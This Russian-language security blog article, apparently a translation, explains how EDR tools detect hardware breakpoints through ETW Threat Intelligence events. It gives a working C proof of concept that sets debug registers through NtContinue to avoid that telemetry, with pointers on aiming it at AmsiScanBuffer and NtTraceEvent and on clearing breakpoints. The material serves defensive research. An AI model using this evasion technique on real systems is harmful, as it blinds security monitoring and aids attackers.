Продвинутые техники обхода EDR с помощью аппаратных точек останова​

Продвинутые техники обхода EDR с помощью аппаратных точек останова​

Детальный разбор техник обхода современных EDR-решений с использованием аппаратных точек останова и NtContinue, а также рабочий PoC.

image

Современные решения Endpoint Detection and Response (EDR) в значительной степени полагаются на технологию Event Tracing for Windows (ETW) для обнаружения вредоносной активности без ущерба для стабильности системы. Однако злоумышленники продолжают находить способы обхода этих систем, оставаясь незамеченными. Используя аппаратные точки останова на уровне процессора, атакующие могут перехватывать функции и манипулировать телеметрией в пользовательском режиме без прямого внедрения в ядро, что создает проблемы для традиционных методов защиты. Защита Kernel Patch Protection (PatchGuard) предотвращает возможность EDR-решений перехватывать таблицу дескрипторов системных служб (SSDT) для проверки аргументов вызовов функций. В таких условиях поставщик ETW Threat Intelligence становится критически важным ресурсом, так как он предоставляет различные данные о таких активностях, как выделение памяти, манипуляции с потоками, асинхронные вызовы процедур (APC) и многое другое с точки зрения ядра.

Аппаратные точки останова использовались для перехвата функциональности Windows с целью подрыва или сокрытия телеметрии в пользовательском режиме, что, в свою очередь, позволяет обходить обнаружение AMSI и ETW. EDR-решения используют поставщиков Threat Intelligence для создания механизмов обнаружения злоупотреблений аппаратными точками останова.

В этой статье мы рассмотрим, какие функции создают события ETW, используя отладчик ядра, а также альтернативный метод настройки аппаратных точек останова для перехвата функциональности без создания аналогичных событий ETW TI.

События ETW Threat Intelligence в ядре

Поставщик ETW Threat Intelligence регистрирует различные события, связанные с безопасностью в ядре. Мы можем определить, какие функции ядра вызывают эти события, изучив символы, начинающиеся с EtwTiLog, в сессии отладки ядра с использованием WinDbg. В этой статье мы сосредоточимся на интересующих нас событиях и не будем рассматривать те, которые используют префикс EtwTimLog.

В режиме отладки ядра WinDbg, список всех символов, начинающихся с EtwTiLog, выглядит следующим образом:

0: kd> x nt!EtwTiLog*
fffff80527b75280 nt!EtwTiLogDriverObjectLoad (void)
fffff80527a5f94c nt!EtwTiLogDeviceObjectLoadUnload (void)
fffff80527759390 nt!EtwTiLogInsertQueueUserApc (void)
fffff80527a79ecc nt!EtwTiLogProtectExecVm (void)
fffff80527b6d22c nt!EtwTiLogDriverObjectUnLoad (void)
fffff80527aaac4c nt!EtwTiLogSetContextThread (void)
fffff80527d3f76c nt!EtwTiLogSuspendResumeProcess (EtwTiLogSuspendResumeProcess)
fffff80527a79ce0 nt!EtwTiLogAllocExecVm (EtwTiLogAllocExecVm)
fffff80527a79b30 nt!EtwTiLogReadWriteVm (EtwTiLogReadWriteVm)
fffff80527b22544 nt!EtwTiLogMapExecView (EtwTiLogMapExecView)
fffff80527d3f8d4 nt!EtwTiLogSuspendResumeThread (EtwTiLogSuspendResumeThread)
   

Аппаратные точки останова и уровни привилегий

Аппаратные точки останова реализованы на уровне процессора и используют регистры отладки (DrX). Для их настройки требуется уровень привилегий 0 (PL0). В Windows пользовательский режим работает на уровне PL3, а ядро — на уровне PL0. Обычно приложения пользовательского режима не могут напрямую манипулировать этими регистрами и должны полагаться на интерфейс Native API, который выполняет системные вызовы для перехода в ядро и выполнения этих привилегированных операций от их имени.

Традиционно приложения пользовательского режима устанавливают аппаратные точки останова, вызывая функции GetThreadContext и SetThreadContext. Приложение может затем зарегистрировать обработчик исключений для перехвата исключений, вызванных этими точками останова. Эти регистры отладки позволяют процессам перехватывать адреса функций без изменения памяти! Эти исключения могут быть обработаны с помощью динамически разрешенных обработчиков исключений или структурированной обработки исключений.

Например, динамическая регистрация обработчика исключений, который наивно продолжает выполнение всех исключений пошагового выполнения, может выглядеть следующим образом:

LONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    AddVectoredExceptionHandler(1, exception_handler);
}
    

Вызов событий ETW TI через операции с контекстом потока

Чтобы понять, что вызывает эти функции, мы можем работать в обратном направлении, загрузив ntoskrnl.exe в декомпилятор или установив точки останова на упомянутых ранее функциях в WinDbg и изучив стек вызовов.

Мы сосредоточимся на nt!EtwTiLogSetThreadContext, так как название намекает, что это, вероятно, вызывает события для операций с контекстом потока и манипуляций.

1: kd> bp nt!EtwTiLogSetContextThread
1: kd> g
  

Первый стек вызовов показывает, что NtSetInformationThread может вызывать это событие ETW при вызове с классом информации о потоке ThreadWow64Context:

Breakpoint 0 hit
nt!EtwTiLogSetContextThread:
fffff80527aaac4c 48895c2408      mov     qword ptr [rsp+8],rbx
1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffc20ee2091ce8 fffff80527aa9ff3     nt!EtwTiLogSetContextThread
01 ffffc20ee2091cf0 fffff80527a30efa     nt!PspWow64SetContextThread+0x33f
02 ffffc20ee2092880 fffff80527812505     nt!NtSetInformationThread+0xb3a
03 ffffc20ee2092b00 00007ff80e84d694     nt!KiSystemServiceCopyEnd+0x25
04 00000000019be1f8 00000000775c1122     ntdll!NtSetInformationThread+0x14
...
   

Второй стек вызовов показывает, что NtSetContextThread (Native API, стоящий за SetThreadContext) также вызывает это событие ETW:

1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffc20ee3ca7368 fffff80527c0e68f     nt!EtwTiLogSetContextThread
01 ffffc20ee3ca7370 fffff80527d0f0f8     nt!PspSetContextThreadInternal+0x19194f
02 ffffc20ee3ca7a80 fffff80527812505     nt!NtSetContextThread+0xb8
03 ffffc20ee3ca7b00 00007ff80e850684     nt!KiSystemServiceCopyEnd+0x25
04 00000009b9d0f628 00007ff80c565bbb     ntdll!NtSetContextThread+0x14
05 00000009b9d0f630 00007ff642041235     KERNELBASE!SetThreadContext+0xb
  

Короче говоря, установка контекста потока с использованием этих API вызывает регистрацию событий ETW, которые EDR используют для обнаружения подозрительных операций, особенно связанных с аппаратными точками останова (регистры отладки).

Поскольку NtSetThreadContext отслеживается ETW TI, EDR используют этот источник телеметрии для создания механизмов обнаружения злоупотреблений аппаратными точками останова с целью обхода AMSI/ETW.

Избежание обнаружения ETW с помощью NtContinue

Чтобы установить регистры отладки без генерации события SetThreadContext, мы можем использовать функцию Native API NtContinue.

NtContinue обновляет контекст потока, включая его регистры отладки, без вызова EtwTiLogSetContextThread в ядре.

Таким образом, его можно использовать для скрытой установки аппаратных точек останова, обходя телеметрию EDR, которая полагается на SetThreadContext.

Чтобы подтвердить, что мы можем установить регистры отладки с помощью этой функции, мы можем обратиться к исходному коду ReactOS (открытой реализации Windows), чтобы увидеть, как NtContinue обрабатывает регистры отладки:

NtContinue в ReactOS (except.c) 
KiContinuePreviousModeUser (except.c)
Context to Trap Frame (context.c)
   

Релевантный фрагмент кода из KeContextToTrapFrame:

c
if (ContextFlags & CONTEXT_DEBUG_REGISTERS)
{
    /* Копируем регистры отладки */
    TrapFrame->Dr0 = Context->Dr0;
    TrapFrame->Dr1 = Context->Dr1;
    TrapFrame->Dr2 = Context->Dr2;
    TrapFrame->Dr3 = Context->Dr3;
    TrapFrame->Dr6 = Context->Dr6;
    TrapFrame->Dr7 = Context->Dr7;

    if ((Context->SegCs & MODE_MASK) != KernelMode)
    {
        if (TrapFrame->Dr0 > (ULONG64)MmHighestUserAddress)
            TrapFrame->Dr0 = 0;
        if (TrapFrame->Dr1 > (ULONG64)MmHighestUserAddress)
            TrapFrame->Dr1 = 0;
        if (TrapFrame->Dr2 > (ULONG64)MmHighestUserAddress)
            TrapFrame->Dr2 = 0;
        if (TrapFrame->Dr3 > (ULONG64)MmHighestUserAddress)
            TrapFrame->Dr3 = 0;
    }
}

Доказательство концепции

Используя NtContinue, мы можем установить регистры отладки (аппаратные точки останова) без создания события ETW, которое бы вызвал NtSetContextThread. Ниже приведено доказательство концепции, которое:

  1. Регистрирует наш обработчик исключений для исключений пошагового выполнения.
  2. Настраивает регистры отладки для перехвата функции Sleep.
  3. Проверяет, что регистры отладки установлены для текущего потока.
  4. Вызывает Sleep и, в свою очередь, вызывает наш обработчик исключений.
  5. Обработчик исключений устанавливает указатель инструкции на адрес возврата.
  6. Устанавливает флаг продолжения выполнения.
  7. Завершает выполнение.
#include 
#include 

#define IMPORTAPI( DLLFILE, FUNCNAME, RETTYPE, ...)\
typedef RETTYPE( WINAPI* type##FUNCNAME )( __VA_ARGS__ );\
type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress((LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME);

uintptr_t find_gadget(size_t function, BYTE* stub, size_t size, size_t dist)
{
    for (size_t i = 0; i < dist; i++)
    {
        if (memcmp((LPVOID)(function + i), stub, size) == 0) {
            return (function + i);
        }
    }
    return 0ull;
}

LONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        printf("7. Исключение пошагового выполнения\n");
		printf("\tDr0: %p\tDr7: %p\n", (PVOID)ExceptionInfo->ContextRecord->Dr0, (PVOID)ExceptionInfo->ContextRecord->Dr7);

        PVOID ret_addr = find_gadget(ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 100000);
		printf("8. Найден возврат по адресу %p\n", ret_addr);
        ExceptionInfo->ContextRecord->Rip = (DWORD64)ret_addr;
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main()
{
    IMPORTAPI(L"NTDLL.dll", NtContinue, NTSTATUS, PCONTEXT, BOOLEAN);

    AddVectoredExceptionHandler(1, exception_handler);
    printf("1. Обработчик исключений зарегистрирован\n");

    CONTEXT context_thread = { 0 };
    context_thread.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    RtlCaptureContext(&context_thread);
    printf("2. Контекст потока захвачен\n");
	printf("\tDr0: %p\tDr7: %p\n", (PVOID)context_thread.Dr0, (PVOID)context_thread.Dr7);

    context_thread.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context_thread.Dr0 = GetProcAddress(GetModuleHandleW(L"KERNEL32.dll"), "Sleep");
    context_thread.Dr7 |= 1ull << (2 * 0);
    context_thread.Dr7 &= ~(3ull << (16 + 4 * 0));
    context_thread.Dr7 &= ~(3ull << (18 + 4 * 0));
    printf("3. Значения регистров отладки установлены\n");
	printf("\tDr0: %p\tDr7: %p\n", (PVOID)context_thread.Dr0, (PVOID)context_thread.Dr7);

    NtContinue(&context_thread, FALSE);
    printf("4. Контекст потока установлен\n");

    context_thread.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context_thread.Dr0 = context_thread.Dr7 = 0;
    GetThreadContext(GetCurrentThread(), &context_thread);
	printf("5. Контекст потока получен\n");
	printf("\tDr0: %p\tDr7: %p\n", (PVOID)context_thread.Dr0, (PVOID)context_thread.Dr7);

	printf("6. Ожидание 0xDEADBEEF\n");
    Sleep(0xDEADBEEF);

	printf("9. Программа завершена\n");
    return 0;
}

Мы можем использовать команду sxn sse в WinDbg, чтобы уведомить об исключении пошагового выполнения и позволить событию быть переданным как необработанное в нашей сессии отладки ядра, чтобы наше исключение могло быть обработано нашим зарегистрированным обработчиком исключений.

0: kd> g
Исключение пошагового выполнения - код 80000004 (первый шанс)
Первые шансы исключений сообщаются до любой обработки исключений.
Это исключение может быть ожидаемым и обработанным.
KERNEL32!SleepStub:
0033:00007ff80e1ab0e0 48ff25398d0600  jmp     qword ptr [KERNEL32!_imp_Sleep (00007ff80e213e20)]

Затем из вывода нашего доказательства концепции мы можем убедиться, что все сработало:

1. Обработчик исключений зарегистрирован
2. Контекст потока захвачен
        Dr0: 0000000000000000   Dr7: 0000000000000000
3. Значения регистров отладки установлены
        Dr0: 00007FF80E1AB0E0   Dr7: 0000000000000001
4. Контекст потока установлен
5. Контекст потока получен
        Dr0: 00007FF80E1AB0E0   Dr7: 0000000000000401
6. Ожидание 0xDEADBEEF
7. Исключение пошагового выполнения
        Dr0: 00007FF80E1AB0E0   Dr7: 0000000000000401
8. Найден возврат по адресу 00007FF80E1AB1B1
9. Программа завершена
 

Мы видим, что NtContinue успешно установил регистры отладки (Dr0/Dr7), передал поток выполнения нашему обработчику исключений и естественным образом избежал вызова nt!EtwTiLogSetContextThread.

Применение для обхода EDR

Перехват ETW/AMSI

Для реализации подхода без внесения изменений в код с использованием нашего доказательства концепции, вы можете обновить пример, чтобы установить значения регистров Dr0-Dr3 (при этом обновив соответствующие биты в Dr7) на адреса ntdll!NtTraceEvent или amsi!AmsiScanBuffer. Дополнительно вы можете обновить регистр RAX (в соответствии с соглашением о вызовах x64), где хранится возвращаемое значение, чтобы указать код состояния возврата.

Очистка регистров отладки

EDR могут также использовать аппаратные точки останова для предотвращения снятия перехватов, но, очищая регистры отладки через NtContinue, мы можем избежать срабатывания этого механизма следующим образом:

context_thread.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context_thread.Dr0 = context_thread.Dr1 = context_thread.Dr2 = context_thread.Dr3 = context_thread.Dr7 = 0;
    NtContinue(&context_thread, FALSE);
   

Заключение

Мы рассмотрели, как EDR полагаются на поставщиков ETW Threat Intelligence для сбора информации о событиях, связанных с безопасностью, без прямого внедрения в код ядра. Мы изучили, как традиционно устанавливаются аппаратные точки останова, почему они вызывают события ETW, и как использование NtContinue позволяет избежать этой инструментации. Это важно, так как подчеркивает технику, которую могут использовать злоумышленники для уклонения от обнаружения и поддержания скрытности при реализации "безвредных" перехватов, которые предотвращают сканирование AMSI и избегают регистрации ETW.

Наш канал защищен лучше, чем ваш компьютер!

Но доступ к знаниям открыт для всех

Получите root-права на безопасность — подпишитесь